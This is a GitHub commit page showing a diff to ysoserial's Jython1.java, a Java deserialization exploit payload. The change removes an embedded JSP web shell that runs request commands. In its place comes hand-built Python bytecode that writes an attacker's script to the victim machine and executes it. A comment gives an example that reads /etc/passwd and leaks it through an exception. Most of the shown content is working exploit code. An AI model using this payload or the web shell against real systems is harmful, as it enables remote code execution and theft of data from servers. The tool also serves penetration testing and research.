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Merge pull request #49 from jacob-baines/jython-general

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A more generalized Jython1
This commit is contained in:
Chris Frohoff
2016-07-25 09:36:16 -07:00
committed by GitHub
parent e90e8725b4 f924363559
commit 09603ef5ed
1 changed files with 56 additions and 39 deletions
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src/main/java/ysoserial/payloads/Jython1.java
+56 -39
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@@ -2,11 +2,11 @@ package ysoserial.payloads;
import org.python.core.*; import org.python.core.*;
import java.io.*;
import java.math.BigInteger; import java.math.BigInteger;
import java.lang.reflect.Field; import java.nio.file.Files;
import java.lang.reflect.InvocationHandler; import java.nio.file.Paths;
import java.lang.reflect.Proxy; import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.Comparator; import java.util.Comparator;
import java.util.PriorityQueue; import java.util.PriorityQueue;
@@ -17,6 +17,25 @@ import ysoserial.payloads.util.PayloadRunner;
/** /**
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
*
* This version of Jython1 writes a python script on the victim machine and
* executes it. The format of the parameters is:
*
* <local path>;<remote path>
*
* Where local path is the python script's location on the attack box and
* remote path is the location where the script will be written/executed from.
* For example:
*
* "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py"
*
* In the above example, if "read_etc_passwd.py" simply contained the string:
*
* raise Exception(open('/etc/passwd', 'r').read())
*
* Then, when deserialized, the script will read in /etc/passwd and raise an
* exception with its contents (which could be useful if the target returns
* exception information).
*/ */
@PayloadTest(skip="non RCE") @PayloadTest(skip="non RCE")
@@ -24,50 +43,48 @@ import ysoserial.payloads.util.PayloadRunner;
@Dependencies({ "org.python:jython-standalone:2.5.2" }) @Dependencies({ "org.python:jython-standalone:2.5.2" })
public class Jython1 extends PayloadRunner implements ObjectPayload<PriorityQueue> { public class Jython1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
public PriorityQueue getObject(String path) throws Exception { public PriorityQueue getObject(String command) throws Exception {
String[] paths = command.split(";");
if (paths.length != 2) {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths));
}
// Set payload parameters // Set payload parameters
String webshell= "<%@ page import=\"java.util.*,java.io.*\"%>\n" + String python_code = new String(Files.readAllBytes(Paths.get(paths[0])));
"<html><body><form method=\"GET\" name=\"myform\" action=\"\">\n" +
"<input type=\"text\" name=\"cmd\">\n" +
"<input type=\"submit\" value=\"Send\">\n" +
"</form>\n" +
"<pre>\n" +
"<%\n" +
"if (request.getParameter(\"cmd\") != null) {\n" +
"out.println(\"Command: \" + request.getParameter(\"cmd\") + \"<br>\");\n" +
"Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n" +
"OutputStream os = p.getOutputStream();\n" +
"InputStream in = p.getInputStream();\n" +
"DataInputStream dis = new DataInputStream(in);\n" +
"String disr = dis.readLine();\n" +
"while ( disr != null ) {\n" +
"out.println(disr);\n" +
"disr = dis.readLine();\n" +
"}\n" +
"}\n" +
"%>\n" +
"</pre></body></html>";
// Python bytecode to write a file on disk // Python bytecode to write a file on disk and execute it
String code = String code =
"740000" + // 0 LOAD_GLOBAL 0 (open) "740000" + //0 LOAD_GLOBAL 0 (open)
"640100" + // 3 LOAD_CONST 1 (<PATH>) "640100" + //3 LOAD_CONST 1 (remote path)
"640200" + // 6 LOAD_CONST 2 ('w') "640200" + //6 LOAD_CONST 2 ('w+')
"830200" + // 9 CALL_FUNCTION 2 "830200" + //9 CALL_FUNCTION 2
"690100" + // 12 LOAD_ATTR 1 (write) ?? "7D0000" + //12 STORE_FAST 0 (file)
"640300" + // 15 LOAD_CONST 3 (<webshell>)
"830100" + // 18 CALL_FUNCTION 1 "7C0000" + //15 LOAD_FAST 0 (file)
"01" + // 21 POP_TOP "690100" + //18 LOAD_ATTR 1 (write)
"640000" + // 22 LOAD_CONST "640300" + //21 LOAD_CONST 3 (python code)
"53"; // 25 RETURN_VALUE "830100" + //24 CALL_FUNCTION 1
"01" + //27 POP_TOP
"7C0000" + //28 LOAD_FAST 0 (file)
"690200" + //31 LOAD_ATTR 2 (close)
"830000" + //34 CALL_FUNCTION 0
"01" + //37 POP_TOP
"740300" + //38 LOAD_GLOBAL 3 (execfile)
"640100" + //41 LOAD_CONST 1 (remote path)
"830100" + //44 CALL_FUNCTION 1
"01" + //47 POP_TOP
"640000" + //48 LOAD_CONST 0 (None)
"53"; //51 RETURN_VALUE
// Helping consts and names // Helping consts and names
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(path), new PyString("w"), new PyString(webshell)}; PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)};
String[] names = new String[]{"open", "write"}; String[] names = new String[]{"open", "write", "close", "execfile"};
// Generating PyBytecode wrapper for our python bytecode // Generating PyBytecode wrapper for our python bytecode
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{}, "noname", "<module>", 0, ""); PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "<module>", 0, "");
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method